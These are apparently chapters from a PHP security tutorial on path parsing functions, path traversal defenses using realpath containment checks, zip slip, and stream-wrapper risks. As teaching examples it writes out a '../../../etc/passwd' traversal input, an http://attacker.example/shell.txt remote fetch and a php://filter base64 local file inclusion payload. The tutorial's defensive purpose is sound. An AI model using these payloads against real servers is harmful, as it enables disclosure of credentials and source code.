Safe Path Handling

A download endpoint builds a filename with $name = explode('/', $url)[count(...) - 1]; and ships it to the filesystem. On Linux it mostly works. On Windows the same user input arrives as reports\2024\q1.pdf, the split finds no slash, and the whole string — backslashes included — becomes the filename. Any time you split a path by hand, you are betting on one separator convention and one platform. PHP has had the correct functions for this since forever:

$path = '/var/www/storage/invoices/2024/q1.final.pdf';

basename($path);                  // 'q1.final.pdf'  — the last segment only
basename($path, '.pdf');          // 'q1.final'      — optional suffix stripped
basename($path, 'l.pdf');         // 'q1.fina'       — suffix match, not extension-aware

dirname($path);                   // '/var/www/storage/invoices/2024'
dirname($path, 2);                // '/var/www/storage/invoices'  — walk up N levels

pathinfo($path);
// [
//   'dirname'   => '/var/www/storage/invoices/2024',
//   'basename'  => 'q1.final.pdf',
//   'extension' => 'pdf',
//   'filename'  => 'q1.final',
// ]
pathinfo($path, PATHINFO_EXTENSION);   // 'pdf' — single call, no array allocation

Three details decide whether this is correct or merely convenient:

• basename() understands both separators on Windows. It strips / and \ there, so the same call normalizes input from either platform. On Linux a backslash is a legal filename character and is left alone — which is why a backslash in uploaded names should be rejected outright rather than "cleaned".
• extension and filename split at the last dot. archive.tar.gz gives extension gz and filename archive.tar. If your logic needs the full compound name, ask for basename() and cut the extension yourself; if you are whitelisting upload types, strtolower(pathinfo($name, PATHINFO_EXTENSION)) is the right question to ask — while remembering from Handling File Uploads that the extension is still a claim until the content is sniffed.
• The optional suffix on basename() is a string suffix, not an extension check. basename($p, '.pdf') strips exactly those trailing characters from every name; a file called .pdf becomes an empty string. Validate first, strip second.

Rebuilding is just as easy and just as commonly done wrong:

$dir  = '/var/www/storage/invoices';
$file = basename($userInput);                 // never re-embed raw input
$full = $dir . DIRECTORY_SEPARATOR . $file;

Two more behaviors are worth internalizing while you are here: dirname() ignores a trailing separator when counting levels (dirname('/a/b/') is /a, not /a/b/), and pathinfo() takes a flags argument, so pathinfo($p, PATHINFO_BASENAME) returns one piece without allocating the whole array. The habit these functions install matters more than any single call — treat a path as a structured value with parts, never as an opaque string you slice with substr(). The moment the code starts doing arithmetic on slashes, platform assumptions have entered the design.

DIRECTORY_SEPARATOR documents intent even though / works everywhere in PHP; the real safety came from basename() reducing attacker input to a single segment. Note what these functions do not do: none of them resolve .., none of them touch symlinks, and pathinfo() will happily return an extension for /etc/passwd. Parsing a path and trusting a path are different jobs — parsing belongs here, trusting is the next chapter.

One rarely met caveat: basename() is locale-sensitive for bytes above 0x7F under some LC_CTYPE settings, so a UTF-8 filename can be mangled on systems with an unexpected locale. When names are international, normalize with mb_-aware checks or restrict the accepted character set explicitly instead of assuming basename() preserves every byte.

A file server exposes /download.php?file=notes.txt. The attacker changes it to file=../../../../etc/passwd and the response is the password file. PHP never questioned the path because the application concatenated it: $path = $uploadDir . '/' . $_GET['file'];. The .. segments walk out of the directory the developer assumed was a boundary. This is path traversal, it is on the OWASP list every year, and it is the single most common filesystem finding in PHP code review.

The obvious fix does not work:

$file = str_replace('..', '', $_GET['file']);   // ....//  ->  ../  after one pass
$file = preg_replace('#\.\./#', '', $file);     // misses ..\ , url-encoded, nested forms

str_replace is not a loop that keeps going: ....// collapses into ../. The regex misses backslash variants, %2e%2e%2f (decoded once by the framework but sometimes twice), overlong UTF-8 encodings, and a bare .. at the end with no trailing slash. Worse, sanitizing teaches the code to accept anything after mangling it, when the correct response to a path that tries to leave the root is rejection, not repair.

The robust pattern canonicalizes both sides and compares:

function resolveInside(string $root, string $relative): string
{
    $rootReal = realpath($root);
    if ($rootReal === false || !is_dir($rootReal)) {
        throw new RuntimeException('storage root is not a directory');
    }

    $candidate = realpath($rootReal . DIRECTORY_SEPARATOR . $relative);
    if ($candidate === false) {
        throw new RuntimeException('path does not exist');            // realpath() fails on 'a/../b/../..' gaps
    }

    $prefix = $rootReal . DIRECTORY_SEPARATOR;
    if (!str_starts_with($candidate, $prefix)) {
        throw new RuntimeException('path escapes the storage root');
    }

    return $candidate;
}

resolveInside('/var/www/storage', 'invoices/2024/q1.pdf');   // ok
resolveInside('/var/www/storage', '../../../etc/passwd');     // /etc/passwd -> rejected

realpath() collapses .., resolves symlinks, and normalizes separators, so by the time you compare, the tricks are gone — /var/www/storage/../../etc/passwd becomes /etc/passwd, which fails the prefix test. Five details make this check actually hold:

1. Compare against the root with a trailing separator. Without it, a sibling directory /var/www/storage-old passes str_starts_with('/var/www/storage-old/...', '/var/www/storage').
2. realpath() returns false for paths that do not exist. For writes (the upload destination), canonicalize the parent directory instead, then append your own generated filename.
3. Resolve symlinks. A link inside the root pointing at /etc is a traversal no string filter sees; realpath() does because it follows the link.
4. Mind case-insensitive filesystems. On Windows and macOS, /var/www/Storage equals /var/www/storage; use a case-insensitive comparison there.
5. Reject both encodings of the attack. After URL-decoding (and only after it — rawurldecode once), a value still containing .. as a segment deserves a 400 before any filesystem call.

A variant deserves its own name: zip slip. An archive whose entries read ../../.env extracts outside the destination for exactly the same reason a URL parameter does — the traversal lives in the data, not in the request line. Streaming entries to disk therefore follows the same rule: build $dest = $extractDir . DIRECTORY_SEPARATOR . basename($entry->getName());, or run the containment check on every entry name before writing it.

For simple filename inputs there is a legitimate shortcut: basename($input) discards every directory the client sent, and you then re-attach it to a fixed root. That is containment by construction rather than by comparison. Use it when the input is a name; use realpath() when the input is a relative path — and either way, never concatenate raw input into a filesystem call, which is the habit that made Handling File Uploads dangerous in the first place.

fopen($path, 'r') looks like a filesystem call, but PHP first inspects the path for a scheme. file:///etc/passwd, http://api.example.com/data.json, php://memory, phar://plugin/plugin.phar — each prefix selects a different stream wrapper, a driver that implements read/write for its own resource. The uniformity is the feature: the same file_get_contents() fetches a local file, a remote document, or a custom storage abstraction you registered yourself.

That table is also an attack surface. Two entries are famous:

http://attacker.example/shell.txt          # if allow_url_fopen=On, fopen() issues the request
php://filter/read=convert.base64-encode/resource=/var/www/config.php

The second is the classic local file inclusion payload. It does not execute anything by itself — it returns your own source file, base64-encoded, which the attacker decodes from the response. resource= can point at any readable path, so once user input reaches fopen() or include() unchecked, the attacker chooses both the target and the transformation. allow_url_include (default Off, and Off in every hardened php.ini) governs whether include() accepts remote http:// paths at all — do not confuse it with allow_url_fopen, which only affects read functions.

phar:// carries a second hazard. A Phar archive stores metadata that PHP unserializes when the archive is opened through the wrapper, so feeding an attacker-controlled path into any filesystem call — file_exists(), fopen(), is_dir() — can trigger unserialize gadget chains if a vulnerable class exists in the codebase. Defenses: never pass raw input to filesystem functions (the previous chapter's rule), keep dependencies patched, and, for scripts that only ever touch real files, disable what you never use:

stream_wrapper_unregister('phar');                 // and 'http', 'https', 'data' if unused
stream_wrapper_restore('file');                    // explicit allowlist of drivers

php://input deserves its own note: it exposes the raw request body — the input every JSON API reads with json_decode(file_get_contents('php://input')) — and it is re-readable when the body is not chunked, unlike the older write-once behavior. It is also not a target an attacker can aim: that name always refers to this request. The wrappers where the user chooses the target are file://, http://, https://, phar://, and data://; those are the schemes your validation (or your stream_wrapper_unregister() calls) has to account for.

Wrappers are also legitimately powerful: php://temp gives you a seekable buffer that spills to disk past a threshold — ideal for large uploads you must inspect before storing — and stream_wrapper_register('s3', S3Stream::class) lets your own class back every fopen('s3://bucket/key') with object storage, no call-site changes. The design rule is the same one you have been applying all along: decide what a path is allowed to refer to before the runtime interprets its scheme.

With files read, written, uploaded, and safely resolved, PHP still has one state problem left: the language is stateless between requests — and that is what Session Start and Configuration solves.